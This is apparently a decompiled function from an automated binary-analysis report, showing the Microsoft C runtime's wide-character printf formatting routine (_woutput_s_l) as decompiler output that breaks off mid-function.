Uniqueness Score: -1.00%

Function 0043C3BD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C3BD(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				intOrPtr _t539;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t619;
				signed int _t621;
				signed int _t623;
				signed int _t630;
				signed int _t642;
				signed int _t669;
				intOrPtr _t670;
				intOrPtr _t671;
				signed int _t672;
				void* _t674;
				void* _t675;
				signed int _t681;

				L0:
				while(1) {
					L0:
					_t671 = __esi;
					_t670 = __edi;
					_t619 = __edx;
					_t565 = __ebx;
					 *(_t672 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t672 - 0x10) & 0x00008000) == 0) {
									_t621 =  *(_t672 - 0x10) & 0x00001000;
									if(_t621 == 0) {
										if(( *(_t672 - 0x10) & 0x00000020) == 0) {
											_t623 =  *(_t672 - 0x10) & 0x00000040;
											if(_t623 == 0) {
												_t483 = E00428370(_t672 + 0x14);
												_t675 = _t674 + 4;
												 *(_t672 - 0x4a0) = _t483;
												 *(_t672 - 0x49c) = 0;
											} else {
												_t556 = E00428370(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t556;
												 *(_t672 - 0x49c) = _t623;
											}
										} else {
											_t669 =  *(_t672 - 0x10) & 0x00000040;
											if(_t669 == 0) {
												_t557 = E00428370(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t557 & 0x0000ffff;
												 *(_t672 - 0x49c) = _t669;
											} else {
												_t560 = E00428370(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t560;
												 *(_t672 - 0x49c) = _t669;
											}
										}
									} else {
										_t563 = E00428390(_t672 + 0x14);
										_t675 = _t674 + 4;
										 *(_t672 - 0x4a0) = _t563;
										 *(_t672 - 0x49c) = _t621;
									}
								} else {
									_t564 = E00428390(_t672 + 0x14);
									_t675 = _t674 + 4;
									 *(_t672 - 0x4a0) = _t564;
									 *(_t672 - 0x49c) = _t619;
								}
								if(( *(_t672 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t672 - 0x4a8) =  *(_t672 - 0x4a0);
									 *(_t672 - 0x4a4) =  *(_t672 - 0x49c);
									goto L168;
								} else {
									L163:
									_t681 =  *(_t672 - 0x49c);
									if(_t681 > 0 || _t681 >= 0 &&  *(_t672 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t672 - 0x4a8) =  ~( *(_t672 - 0x4a0));
										 *(_t672 - 0x4a4) =  ~( *(_t672 - 0x49c));
										 *(_t672 - 0x10) =  *(_t672 - 0x10) | 0x00000100;
										L168:
										if(( *(_t672 - 0x10) & 0x00008000) == 0 && ( *(_t672 - 0x10) & 0x00001000) == 0) {
											 *(_t672 - 0x4a4) =  *(_t672 - 0x4a4) & 0x00000000;
										}
										if( *(_t672 - 0x30) >= 0) {
											 *(_t672 - 0x10) =  *(_t672 - 0x10) & 0xfffffff7;
											if( *(_t672 - 0x30) > 0x200) {
												 *(_t672 - 0x30) = 0x200;
											}
										} else {
											 *(_t672 - 0x30) = 1;
										}
										if(( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
											 *(_t672 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t672 - 4)) = _t672 - 0x249;
										while(1) {
											L178:
											_t629 =  *(_t672 - 0x30) - 1;
											 *(_t672 - 0x30) =  *(_t672 - 0x30) - 1;
											if( *(_t672 - 0x30) <= 0 && ( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t630 =  *(_t672 - 0x4a8);
											 *((intOrPtr*)(_t672 - 0x494)) = E004307A0(_t630,  *(_t672 - 0x4a4),  *(_t672 - 8), _t629) + 0x30;
											asm("cdq");
											 *(_t672 - 0x4a8) = E00430820( *(_t672 - 0x4a8),  *(_t672 - 0x4a4),  *(_t672 - 8), _t630);
											 *(_t672 - 0x4a4) = _t630;
											if( *((intOrPtr*)(_t672 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t672 - 0x494)) =  *((intOrPtr*)(_t672 - 0x494)) +  *((intOrPtr*)(_t672 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) =  *((intOrPtr*)(_t672 - 0x494));
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t672 - 0x24)) = _t672 - 0x249 -  *((intOrPtr*)(_t672 - 4));
										 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) + 1;
										if(( *(_t672 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t672 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t672 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) = 0x30;
											 *((intOrPtr*)(_t672 - 0x24)) =  *((intOrPtr*)(_t672 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t672 - 0x28)) != 0) {
																			L212:
																			if( *(_t672 - 0x20) != 0) {
																				L0041C550( *(_t672 - 0x20), 2);
																				_t675 = _t675 + 8;
																				 *(_t672 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t672 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t672 + 0xc))));
																				_t578 =  *(_t672 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t672 + 0xc)) =  *((intOrPtr*)(_t672 + 0xc)) + 2;
																				if(( *(_t672 - 0x454) & 0x0000ffff) == 0 ||  *(_t672 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t672 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t672 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t672 - 0x4d8) = 0;
																					} else {
																						 *(_t672 - 0x4d8) =  *(( *(_t672 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t672 - 0x450) =  *(_t672 - 0x4d8);
																				_t642 =  *(_t672 - 0x450) * 9;
																				_t509 =  *(_t672 - 0x45c);
																				_t586 = ( *(_t642 + _t509 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t672 - 0x45c) = ( *(_t642 + _t509 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t672 - 0x45c) != 8) {
																					L16:
																					 *(_t672 - 0x4e0) =  *(_t672 - 0x45c);
																					if( *(_t672 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t672 - 0x4e0) * 4 +  &M0043C994))) {
																						case 0:
																							L18:
																							 *(_t672 - 0xc) = 1;
																							E0043CAA0( *(_t672 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																							_t675 = _t675 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t57 =  *(__ebp - 0x4e4) + 0x43c9cc; // 0x498d04
																							__ecx =  *_t57 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C9B4))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t81;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t92;
																								 *(__ebp - 0x30) = __ecx + _t92;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t100 =  *(__ebp - 0x4e8) + 0x43c9f4; // 0xc2019003
																							__ecx =  *_t100 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C9E0))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t640 = 0;
																					if(0 == 0) {
																						 *(_t672 - 0x4dc) = 0;
																					} else {
																						 *(_t672 - 0x4dc) = 1;
																					}
																					 *(_t672 - 0x46c) =  *(_t672 - 0x4dc);
																					if( *(_t672 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t517 = L0041E390();
																						_t675 = _t675 + 0x14;
																						if(_t517 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t672 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422E80(_t586))) = 0x16;
																						E00422C10(_t565, _t586, _t670, _t671, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t672 - 0x4c8) = 0xffffffff;
																						E0041AE30(_t672 - 0x40);
																						_t502 =  *(_t672 - 0x4c8);
																						L225:
																						return E0042BCD0(_t502, _t565,  *(_t672 - 0x48) ^ _t672, _t640, _t670, _t671);
																					}
																				}
																			}
																			L215:
																			if( *(_t672 - 0x45c) == 0 ||  *(_t672 - 0x45c) == 7) {
																				 *(_t672 - 0x4f8) = 1;
																			} else {
																				 *(_t672 - 0x4f8) = 0;
																			}
																			_t640 =  *(_t672 - 0x4f8);
																			 *(_t672 - 0x4bc) =  *(_t672 - 0x4f8);
																			if( *(_t672 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t507 = L0041E390();
																				_t675 = _t675 + 0x14;
																				if(_t507 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t672 - 0x4bc) != 0) {
																				 *(_t672 - 0x4d4) =  *(_t672 - 0x44c);
																				E0041AE30(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00422E80(_t578))) = 0x16;
																				E00422C10(_t565, _t578, _t670, _t671, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t672 - 0x4d0) = 0xffffffff;
																				E0041AE30(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t672 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t672 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t672 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t672 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t672 - 0x14)) = 0x20;
																						 *(_t672 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t672 - 0x14)) = 0x2b;
																					 *(_t672 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t672 - 0x14)) = 0x2d;
																				 *(_t672 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t672 - 0x4ac)) =  *((intOrPtr*)(_t672 - 0x18)) -  *((intOrPtr*)(_t672 - 0x24)) -  *(_t672 - 0x1c);
																		if(( *(_t672 - 0x10) & 0x0000000c) == 0) {
																			E0043CB00(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		E0043CB40( *(_t672 - 0x1c), _t672 - 0x14,  *(_t672 - 0x1c),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																		_t675 = _t675 + 0x10;
																		if(( *(_t672 - 0x10) & 0x00000008) != 0 && ( *(_t672 - 0x10) & 0x00000004) == 0) {
																			E0043CB00(0x30,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		if( *(_t672 - 0xc) != 0 ||  *((intOrPtr*)(_t672 - 0x24)) <= 0) {
																			L208:
																			E0043CB40( *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 - 4)),  *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 4));
																			 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t672 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t535 = E0041AE60(_t672 - 0x40);
																				_t539 = E0043B5A0(_t672 - 0x458,  *((intOrPtr*)(_t672 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AE60(_t672 - 0x40))) + 0xac)), _t535);
																				_t675 = _t675 + 0x10;
																				 *((intOrPtr*)(_t672 - 0x4b8)) = _t539;
																				if( *((intOrPtr*)(_t672 - 0x4b8)) > 0) {
																					L206:
																					E0043CAA0( *(_t672 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																					_t675 = _t675 + 0xc;
																					 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 0x4b0)) +  *((intOrPtr*)(_t672 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t672 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t672 - 0x44c) >= 0 && ( *(_t672 - 0x10) & 0x00000004) != 0) {
																				E0043CB00(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																				_t675 = _t675 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t141 = __edx + 0x43ca60; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043CA24))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428370(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B8D0( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AE60(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xf86dff92
																					E004246D0(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE60(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xa86dfc78
																						E004246D0(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE60(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0x886dfc7f
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428370(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AE60(__ebp - 0x40);
